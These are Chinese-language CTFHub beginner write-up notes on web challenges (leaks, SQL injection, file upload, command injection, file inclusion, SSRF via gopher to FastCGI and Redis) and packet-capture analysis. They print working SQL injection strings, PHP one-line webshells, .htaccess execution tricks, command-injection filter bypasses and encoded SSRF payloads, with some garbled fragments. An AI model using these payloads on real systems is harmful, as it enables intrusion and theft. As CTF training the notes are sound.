CTFHub入门笔记
收集和记录一下CTF入门的write up
网站
- 刷题
- CTFHUB 对新人极其友好,可以快速入门CTF
- https://buuoj.cn/login?next=%2Fchallenges%3F
- https://ctf.bugku.com/
- 搜索引擎
工具
BurpSuite
Burp Suite是一个功能强大的集成渗透测试工具,旨在帮助安全测试人员执行各种 Web 应用程序安全测试。它提供了多个模块,包括代理、扫描器、爬虫、反射器、拦截器、重放器等功能,可协助测试人员发现应用程序中的漏洞,如SQL注入、跨站点脚本(XSS)、身份验证和会话问题、CSRF、文件包含漏洞等。
WiresShark
Wireshark是一款网络协议分析工具,可以帮助用户捕获和分析网络数据包。它能够实时抓取和展示网络上所有传输的数据,并提供多种过滤机制和统计图表,能够深入了解网络通信的细节,发现网络通信中可能存在的问题。
fscan
fscan是一款基于Python的网络渗透测试工具,它可以用于目标发现、端口扫描、漏洞检测等方面。fscan能够快速扫描大量IP地址和端口,并提供了多种扫描方式和过滤规则,例如TCP和UDP端口扫描、服务识别、OS指纹识别等。
GitHack
GitHack指的是一种基于Git版本控制系统的攻击技术。攻击者可以使用GitHack来获取敏感信息或执行未经授权的操作。攻击者通常会在Git上查找敏感信息,例如密码或私钥,并利用这些信息进一步入侵目标系统。
dvcs-ripper
可以支持svn、hg等文件下载
PostMan
Postman是一个接口测试工具,在做接口测试的时候,Postman相当于一个客户端,它可以模拟用户发起的各类HTTP请求,将请求数据发送至服务端,获取对应的响应结果, 从而验证响应中的结果数据是否和预期值相匹配;并确保开发人员能够及时处理接口中的bug,进而保证产品上线之后的稳定性和安全性
Web
前置技能
请求方式
- 思路:使用PostMan,修改请求方式为CTFHUB
302跳转
使用浏览器访问index.php时,发现F12中network有302
- 思路:使用curl访问index.php即可,因为curl不支持302跳转
参考,使用burpsuite
的repeater
功能
基础认证
参考,使用burpsuite
的Intruder
功能
响应包源代码
使用F12直接在前端源代码里面查看
信息泄露
目录遍历
由于配置错误导致网站的目录可被遍历。
- 思路:我们遍历网站即可找到结果
phpinfo
phpinfo()是php中查看相关信息的函数,当在页面中执行phpinfo()
函数时,php会将自身的所有信息全部打印出来。在phpinfo
中会泄露很多服务端的一些信息
- 思路:flag暴露在phpinfo中
hg泄露
- 思路:使用dirsearch发现有.hg文件夹,使用dvcs-ripper下载目录,但是工具没有将所有文件下下来,使用
tree
命令来查看目录,分析发现txt文件中有add flag
,使用grep -a -r flag
查看flag存在的文件名,通过curl来查看文件。
SVN泄露
- 思路:使用dirsearch发现有.svn文件夹,使用dvcs-ripper下载目录,从 wc.db 中找到 flag 的文件的文件名, 尝试访问结果发现被删除了。查看
.svn/pristine/
中的文件,找到flag
Git泄露
- 思路:使用dirsearch发现有.git文件夹,使用githack工具将网站里的.git文件夹下载到本地
log
网站下可能有.git文件
- 思路:我们通过
git log
查看提交日志,然后用过git diff
来对比版本区别找到flag
Stash
git可能有的文件放到stash暂存
- 思路:通过
git stash list
查看,执行 git stash pop 发现从 git 栈中弹出来一个文件,这个文件的内容就是 flag
index
使用git ls-file --stage
查看index file文件,使用git log
命令查看历史记录,通过git diff
对比提交版本。
备份文件下载
网站源码
- 思路:网站源码可能放在目录里面,打开即可获取flag
bak文件
有些时候网站管理员可能为了方便,会在修改某个文件的时候先复制一份,将其命名为xxx.bak
- 思路:直接使用curl + url 即可访问
vim缓存
在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以index.php为例:第一次产生的交换文件名为.index.php.swp
,再次意外退出后会产生名为 .index.php.swo
的交换文件,第三次产生的交换文件则为 .index.php.swn
- 思路:使用curl访问,或者使用wget下载到本地再查看
DS_Store
1 |
|
猜字段数(x为数字) 得出字段数
1 | xx = ? order by x |
爆数据库名
1 | xx = ? and 1=2 union select 1,database() |
爆表名
1 | xx = ? and 1=2 union select 1,...,group_concat(table_name) from information_schema.tables where table_schema='数据库名' |
爆列名
1 | xx = ? and 1=2 union select 1,...,group_concat(column_name) from information_schema.columns where table_name='flag' |
获得flag
1 | xx = ? and 1=2 union select 1,...,group_concat(flag) from flag.flag |
其中… 的数量为order by x
中的x
字符型
字符型注入要考虑到 引号闭合 和 注释
判断注入
1 | ?id=1' and 1=1 # 返回正确 |
猜字段
1 | ?id=1' order by 2 # 返回正确 |
爆数据库名
1 | ?id=1' and 1=2 union select 1,database() |
爆表名
1 | ?id=1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli' |
爆列名
1 | ?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' |
爆字段内容(flag)
1 | ?id=1' and 1=2 union select 1,group_concat(flag) from sqli.flag |
报错注入
1 |
|
爆表名
1 | 1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) |
爆列名
1 | 1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)) |
爆数据
1 | 1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) |
mid函数
MID()函数用于从文本字段中提取字符。 SELECT MID(column_name,start[,length]) FROM table_name;
参数 | 描述 |
---|---|
column_name | 必需。要提取字符的字段。 |
start | 必需。规定开始位置(起始值是 1)。 |
length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |
1 | 1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16),0x7e)) |
布尔注入
只会返回正确或者错误,因此我们需要构造if
语句进行注入,手动过程供参考,还是用sqlmap靠谱。
- 先猜测数据库长度
1 | 1 and (length(database()))>5 # 结果是error |
- 猜测数据库名
1 | 1 and ascii(substr(database(),1,1))>110 # 可以二分法来确认每个字母 |
- 得到数据库表中数量
1 | 1 and (select count(table_name) from information_schema.tables |
- 得到表名
1 | 1 and ascii(substr((select table_name from information_schema.tables |
- 猜测flag表的字段数
1 | 1 and (select count(column_name) from information_schema.columns |
- 猜测字段名
1 | 1 and ascii(substr((select column_name from information_schema.columns |
- 猜测flag
1 | 1 and ascii(substr((select * from sqli.flag where id=1),1,1))>110 |
MySQL结构
时间盲注
原理和布尔盲注差不多,通过返回时间来判断
1 | if((substr(database(),1,1)='s'),sleep(1),1) |
首先通过抓包,发现浏览器返回cookie: id=1
使用postman进行发包处理
1 | id = 1 order by 3 # 1和2均可回显,说明数据库有两行 |
为什么id=-1而不是1
1. 经过查阅资料得知,数据库中id的数据类型设置为int(数值类型)就会出现这种情况,如果数据库检查到id的参数并不为数值的话,就会发生类型转换 2. 本题ID=1,我想注入的时候就不能再注ID=1了(要查询数据库不存在的结果,否则存在的结果占位显示我们就看不到第二行的数据) 3. 用联合查询语句union select语句来注入,从而判断显示位,同时也是判断注入点,此时要先保证之前的数据查不出来才能判断注入位置,不然就会一直在注入当前的数据库,无法注入新的值来判断注入点,之后再union select id=-1数据不存在数据库中,可以看到位置2可以插入SQL语句。
总结一下:
比如字符串’1’会被转换为1比如字符串’1”‘会被转换为1
比如’1 and 1=1’会被识别为1
比如’1 and 1=2’会被识别为1
比如’1akbucbdadbaiudadbabdaud’会被识别为1
比如’23adasuasdai32ansoiha’会被识别为23
字符串中数字后面的字符可以是任意的,类型转换时都会被忽略,不会对数值有任何的影响
为什么要用到
group_concat
因为需要在一行输出所有的结果
UA注入
- 和cookie注入流程一致
Referer注入
- 和cookie注入流程一致
过滤空格
随着黑客技术的提升,我们开发人员的防护措施也越来越多,为了防止sql注入,开发人员通常会在后台过滤某些非正常用户输入的字符,例如union、select、单引号双引号等等。
- 可以通过/**/来代替空格
1 | 1 and 1 = 1 # 发现被过滤了 |
文件上传
- tips: MacBook上有个坑,上传隐藏文件时候需要配合命令
command+shift+.
无验证
- 通过Wappalyzer来查看当前页面的基础环境,如中间件,前后端语言等
- 将一句话木马上传到服务器
- php的一句话木马
1 | eval(@$_POST['a']); |
- 通过中国蚁剑进行控制,找到flag
前端验证
- 和无验证差不多,唯一的区别是前端检查了我们上传的文件名。
- 禁用js来解决
- 使用burpsuite,先将一句话木马后缀修改成.png,然后抓包后缀修改成php,从而达到攻击的目的
.htaccess
htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
使用 FilesMatch 命令生成一个.htaccess 文件进行上传,绕过白名单中的漏洞
需要构造.htaccess文件,其中
FilesMatch
就是我们要上传的文件1
2
3<FilesMatch "payload">
SetHandler application/x-httpd-php
</FilesMatch>上传一句话木马,名字为FilesMatch设置的
payload
使用passthru执行外部命令
- 第一步一样是构造.htaccess文件
- 第二步,使用passthru执行外部命令
1
2
3
passthru("ls /var/www/");然后通过浏览器访问
http://xxxx/upload/payload
来执行命令1
2
3
passthru("cat /var/www/html/flag_828011517.php");添加.htaccess文件
- 句话的作用是:让jpg文件中的php语句执行,这句语句放到.htaccess文件中,Apache运行的时候会解析这个文件中的配置,检测到这句话以后,jpg文件中的php语句才会执行
1
AddType application/x-httpd-php .jpg
- 上传一句话木马,以.jpg结尾
- 使用蚁剑进行连接
MIME
- 上传php文件,并将content-type改成image/png即可
文件头检查
原理:服务器会检查png的头格式
截图上传文件,通过
burpsuite
进行代理在图片后面添加一句话木马
1
2
3
eval($_REQUEST['a']);修改文件后缀.php
使用蚁剑连接
00截断
%00的使用是在路径上
就是在.php文件后加上%00后接.jpg,这里我们就可以绕过对php文件的过滤。在执行时,%00会把后面的.jpg截断,所以执行的时候他执行的仍然是前面的.php文件。就可以实现我们的马子文件的执行。
双写后缀
原理:服务器会替换后缀’php’->’’,因此我们只需要拼接后缀为”pphphp”即可
RCE
eval执行
进入后题目
1 |
|
尝试在URL中带上名为cmd的参数:(此处system()
函数的作用为执行系统命令并输出执行结果)
1 | .../?cmd=system("pwd"); |
执行成功 此处需要注意参数结尾一定不能省略;
,满足PHP语法才可以执行成功。
1 | .../?cmd=system("ls%20/"); |
文件包含
- 考察
include
函数
访问shell页面,发现有一句话木马
1 | eval($_REQUEST['ctfhub']); |
假如在index.php中include了一个文件,那么不管这个文件后缀是什么 这个文件中的内容将会直接出现在index.php中,所以这道题的payload构造思路就是把shell.txt里的内容想办法放到index.php中去根据源码构造payload:
1 | ?file=shell.txt |
直接使用蚁剑后缀加上payload即可
php://input
常用到伪协议的php://input
和php://filter
.其中php://input
要求allow_url_include
设置为On
- 使用burp suite的repeater发送请求,构造请求报文
1 | POST /?file=php://input |
得到返回
1 | 200 OK |
读取源代码
- 考点:
php://filter
可以作为一个中间流来处理其他流,具有四个参数。
名称 | 描述 | 备注 |
---|---|---|
resource=<要过滤的数据流> | 指定了你要筛选过滤的数据流。 | 必选 |
read=<读链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符( | )分隔。 |
write=<写链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符( | )分隔。 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
这道题就直接构造payload了
1 | /?file=php://filter/resource=/flag |
有些比赛赛题情况下还要用base64输出
1 | /?file=php://filter/read=convert.base64-encode/resource=/flag |
使用burp suite
1 | GET /?file=php://filter/resource=/flag |
返回
1 | 200 OK |
远程包含
- 解法1:和input那题解法一样
1 | POST /?file=php://input |
返回
1 | 200 OK |
- 解法2:
题目目的是想让我们自己搭个服务器,然后让靶机远程包含我们的代码,但是我并没有租赁VPS。
命令注入
命令行注入漏洞是指web应用程序中调用了系统可执行命令的函数,而且输入参数是可控的,如果黑客拼接了注入命令,就可以进行非法操作了。
Windows系统支持的管道符如下:
- “|”:直接执行后面的语句。
- “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
- “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
- “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
Linux系统支持的管道符如下:
- “;”:执行完前面的语句再执行后面的语句。
- “|”:显示后面语句的执行结果。
- “||”:当前面的语句执行出错时,执行后面的语句。
- “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
- “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
解法一:使用base64编码
我们在框内输入
1
2
3
4
5127.0.0.1 | ls # 输出两个php文件
127.0.0.1 | ls / #根目录没发现其他可疑文件
127.0.0.1 & cat 31007322329204.php # 未回显
127.0.0.1 & cat 31007322329204.php | base64 #使用base64编码
# 解码后获得<?php // ctfhub{ed09b50ed879851ad5b5a4d9}
解法二:重定向
- 我们可以用重定向的方法注入一个一句话木马
1
127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>" > shell.php
- 使用蚁剑连接即可
过滤cat
3.使用单引号绕过
127.0.0.1; c’’at flag_2287214057241.php |base64
4.使用双引号绕过
127.0.0.1; c””at flag_2287214057241.php |base64
5.利用Shell 特殊变量绕过
127.0.0.1; ca$@t flag_2287214057241.php|base64
过滤空格
空格可以用以下字符代替:< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS
等
$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
过滤目录分割符
思路上来说应该是cat文件,必须要使用目录分隔符/,但是题目给过滤。需要另外寻找办法
- 法一:使用cd绕开
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|
其中分号;的作用就是在 shell 中,担任”连续指令”功能
&&的方式:command1 && command2 如果command1执行成功,则执行command2
1 | ;cd flag_is_here;cat flag_164641924722716.php|base64 |
过滤运算符
- 发现题目没有过滤
;
因此我们可以直接使用 - 在f12中的pre标签里面有注释
综合练习
题解一
%0a 代替 换行 ,
%09
代替 TAB键 (因为flag被过滤了,所以我们通过TAB来补全flag_is_here )%5c
代替 \(用 \ 来分隔开 cat ,因为 cat 也被过滤了qwq)这题得在地址栏输入
1
2
3
4
5?ip=127.0.0.1%0als
?ip=127.0.0.1%0als%09*is_here
? # 查看flag_is_here文件夹下的文件ip=127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_98358017212.php
# 注:%0a代替换行,%09代替TAB键(因为flag被过滤了,所以我们通过TAB来补全flag_is_here)
%5c代替\(用\来分隔开cat,因为cat也被过滤了qwq)在f12中能看到答案
source可以用ls sour\*,还可以使用ls \*rce 1
2
3
4
5
6
- 题解二
```cmd
127.0.0.1%0als${IFS}fl$*ag_is_here
127.0.0.1%0acd${IFS}fl$ag_is_here%0aca''t${IFS}fl$a*g_230191972813921.php # 因为过滤了cat,我们这里使用单引号绕过过滤,如ca''t 构造payload其中
''
可以用%27
代替,将cat的任意字母包裹。
SSRF
SSRT(Server-Side Request Forgery,服务器端请求伪造),就是攻击者利用服务器能访问其他的服务器的功能,通过自己的构造服务器请求来攻击与外界不相连接的内网,我们知道内网与外网是不相通的,所以利用这一个特性,就可以利用存在缺陷的WEB应用作为代理 攻击远程 和 本地的服务器。
- gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行
- 数据流末尾使用%0d%0a代表消息结束
关于url编码问题
第一,利用ssrf经常要进行多次url编码(传参或者多次跳转需要多次url编码,也就是说,有多少次请求就要编码多少次,直接curl后接gopher://就编码一次,利用?url=gopher://这样的形式进行ssrf利用就相当于请求了两次,需要编码两次,如果有302跳转,则还需要再编码),第一次url编码后,将所有%0a改成%0¢%0a
gopher:/默认发送到70端口,一般我们需要发送到80端口,记得改
内网访问
考察
http://
协议1
.../?url=http://127.0.0.1/flag.php
伪协议读取文件
这一题的考点主要是file协议读取文件
1
.../?url=file:///var/www/html/flag.php
端口扫描
- 考察
dict://
协议
使用burp suite进行端口扫描
1 | GET /?url=dict://127.0.0.1:§§ |
然后注入使用数字从8000-9000,步进为1,发现端口8243
的数据长度不一致。使用http://
访问,http可以忽略
1 | http://challenge-235c64bde60462f1.sandbox.ctfhub.com:10800/?url=127.0.0.1:8243 |
POST请求
使用dirsearch对服务器底下的目录进行扫描
1
python dirsearch.py -u http://challenge-c81b1dbf4106f429.sandbox.ctfhub.com:10800/?url=127.0.0.1
使用
file
协议对index.php页面源码进行读取1
2
3
4
5
6
7
8
9
10GET /?url=file:///var/www/html/index.php
Host: challenge-f2d0d9c7e78f56ec.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close返回
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
发送
1 | GET /?url=file:///var/www/html/flag.php |
返回
1 |
|
- 题目意思是要构造一个POST请求,传参key
访问http://127.0.0.1/flag.php
发现
1 | <form action="/flag.php" method="post"> |
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。所以我们需要两次编码
构造gopher协议
- 在gopher协议中发送HTTP的数据,需要以下三步:
1、构造HTTP数据包
1
2
3
4
5
6
7# 1.构造HTTP数据包
raw = """POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=21327983b7a37abf3ace93cc0e64f15f"""2、URL编码、替换回车换行为%0d%0a
1
2
3# URL编码、替换回车换行为%0d%0a
data = raw.replace('\n','\r\n')
res = urllib.parse.quote(urllib.parse.quote(data))3、发送gopher协议,有的教程说后面要加结束符
%0d%0a
,但是这道题貌似不用1
2
3
4
5
6
7
8
9GET /?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D21327983b7a37abf3ace93cc0e64f15f
Host: challenge-f2d0d9c7e78f56ec.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20200 OK
Server: openresty/1.19.3.2
Date: Mon, 10 Apr 2023 07:44:48 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 206
Connection: close
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 07:44:43 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Content-Length: 32
Content-Type: text/html; charset=UTF-8
ctfhub{dbcc1a3f4c6fb16d610f70aa}
上传文件
- 查看源代码
发送
1 | GET /?url=file:///var/www/html/index.php |
返回
1 |
|
发送
1 | GET /?url=file:///var/www/html/flag.php |
返回
1 |
|
得知是要构造一个表单提交。
- 使用http协议,访问flag.php
1 | http://challenge-eff97dea17259597.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php |
发现并没有提交的button,我们需要自己写一个
1 | <input type="submit" name="submit"> |
然后bp抓包
1 | POST /flag.php |
编码两次结果
1 | gohper://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520330%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-eff97dea17259597.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryqNWrH2XOYKqFjQzw%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Macintosh%253B%2520Intel%2520Mac%2520OS%2520X%252010_15_7%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/103.0.0.0%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A//challenge-eff97dea17259597.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryqNWrH2XOYKqFjQzw%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell.pphphp%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527shell%2527%255D%2529%253B%2520%253F%253E%250D%250A------WebKitFormBoundaryqNWrH2XOYKqFjQzw%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%250D%250A------WebKitFormBoundaryqNWrH2XOYKqFjQzw-- |
访问index.php抓包,构造payload
1 | ``` |
然后再进行一次url编码
1
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527ls%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
使用bp的repeater发送后获取
1
2
3
4
5
6NX-Powered-By: PHP/5.6.40
Content-type: text/html; charset=UTF-8
index.php
-----Made-by-SpyD3r-----
htm然后重复上述操作,输入并进行url编码即可获取flag
1
2ls /
ls /flag也可以写个一句话木马上去
1
echo JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9QT1NUJTVCc2hlbGwlNUQlMjklM0IlM0YlM0UlMDA= | base64 -d > /var/www/html/shel1.php
其中*/var/www/html/index.php可以用/usr/local/lib/php/PEAR.php*代替,就是服务器里面有的php文件即可,pear是自带的。
Redis协议
通过gopherus一把梭
1
2
3redis
PHPShell
<?php eval($_POST[shell]);?>再进行一次url编码即可
URL Bypass
这个题的考点与DNS解析有关,像我们平时输入的百度网址www.baidu.com中的www是什么意思?我们简单了解一下域名解析前缀的作用
www:二级域名解析,以百度为例,就是www.baidu.com
@ :主域名解析,即@符号后面直接跟域名,如果前面有东西,会被忽略。
*:是指泛解析,是指除已添加的解析记录以外的所有主机都以此为准,以百度为例,就是 12343.baidu.com。
这道题直接使用@跳过
1
http://notfound.ctfhub.com@127.0.0.1:80/flag.php
数字IP Bypass
方法一:通过IP地址转换,将10进制的数代替127.0.0.1即可,或者16进制前面加个0x
1
2
3http://challenge-8c88f2c702488010.sandbox.ctfhub.com:10800/?url=2130706433:80/flag.php
http://challenge-b558d4473913b437.sandbox.ctfhub.com:10800/?url=0x7F000001:80/flag.php方法二:使用localhost
1
http://challenge-8c88f2c702488010.sandbox.ctfhub.com:10800/?url=localhost:80/flag.php
方法三;特殊地址http://0/
1
http://challenge-8c88f2c702488010.sandbox.ctfhub.com:10800/?url=0/flag.php
302跳转
- 常规解法参考上题能做。
- 使用短地址转换
http://127.0.0.1/flag.php
即可
DNS重绑定 Bypass
同源策略:两个URL使用相同的协议、域名、端口 (IE浏览器没有端口)三者相同则称为同源。简单来说同源就是为了使一个域名下的网站只能调用本域名下的资源,防止其它域名的访问造成一些危害。
DNS重绑定:在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。(浏览器同源策略) 这就是DNS Rebinding攻击。
-
1
http://challenge-008000c7973432be.sandbox.ctfhub.com:10800/?url=7f000001.c0a80001.rbndr.us/flag.php
Reverse
Crypto
Misc
流量分析
- 使用到工具是WireShark
Mysql流量
- 直接下载包,然后在filter里面输入mysql,然后看info里面登录成功的那条
- 使用follow tcp stream 然后在find里面输入关键字
ctf
即可。
Redis流量
使用follow tcp stream 然后在find里面输入关键字
ctf
即可。1
2
3
4
5
6
7
8
9
10
11Fl4g1
$22
ctfhub{6051d6123de43df
+OK
*3
$3
set
$5
flag2
$18
ad7609804925c0121}拼接出
ctfhub{6051d6123de43dfad7609804925c0121}
MongoDB
- 也是直接跟踪流,然后旁边有个选项可以直接选择第几个流,我们直接搜关键词
ctfhub{
找不到就换下个流,节省很多时间。
ICMP Data
方法一:无法跟踪流,用↓逐个观察,发现有个位置每次和上次不一样,拼起来就是flag,每次都有两个包是一样的一个request一个response,因此答案就是
ctfhub{c87eb99796406ac0b}
方法二:编写脚本
1
2
3
4
5
6
7
8
9
10
11
12# coding = utf-8
# --author:valecalida--
from os import system as get_hex
# 调用tshark时需要将tshark加入环境变量,且脚本需要与流量包在一个路径下
get_hex("tshark -r icmp_data.pcap -Y \"icmp && icmp.type==8\" -T fields -e data > flag.txt")
f = open('flag.txt', 'r')
flag = ''
for line in f.readlines():
flag += chr(int(line[16:18], 16))
print(flag)
f.close()- 使用pyshark,其中type=8即请求,type=0即响应,这里0或者8都可以,因为是重复的。
1
2
3
4
5
6
7
8
9
10
11# coding = utf-8
# --author: valecalida--
import pyshark
cap = pyshark.FileCapture("icmp_data.pcap", display_filter="icmp && icmp.type==8")
flag = ''
for i in range(0, 25):
flag += chr(int(str(cap[i].icmp.data_data)[24:26], 16))
print(flag)
cap.close()
注意:在jupyter里面使用代码会导致报错This event loop is already running
。
解决方案:
1 | import nest_asyncio |
ICMP Length
题目提示,flag暗藏玄只因。
1
2
3
4
5
6
7
8
9
10import pyshark
cap = pyshark.FileCapture('icmp_len.pcap',display_filter='icmp && icmp.type==8')
flag = ''
for i in range(0,18):
pkt = cap[i]
flag+=(chr(int(pkt.icmp.data_len)))
print(flag)
ICMP LengthBin
题目很直接的给了提示,就是二进制与length的关系,使用wireshark打开流量包查看,使用过滤器icmp&& icmp.type==8来进行过滤,查看每一条流量的length值,发现都是32或64,直接编写脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20# coding = utf-8
# --author: valecalida--
import binascii
import pyshark
cap = pyshark.FileCapture('icmp_len_binary.pcap', display_filter="icmp && icmp.type==8")
cap.load_packets()
flag = ''
con1 = ""
con2 = ""
for i in range(0, len(cap)):
if cap[i].icmp.data_len == '32':
con1 += '0'
con2 += '1'
elif cap[i].icmp.data_len == '64':
con1 += '1'
con2 += '0'
print(binascii.a2b_hex(hex(int(con1, base=2))[2:]))
print(binascii.a2b_hex(hex(int(con2, base=2))[2:]))
cap.close()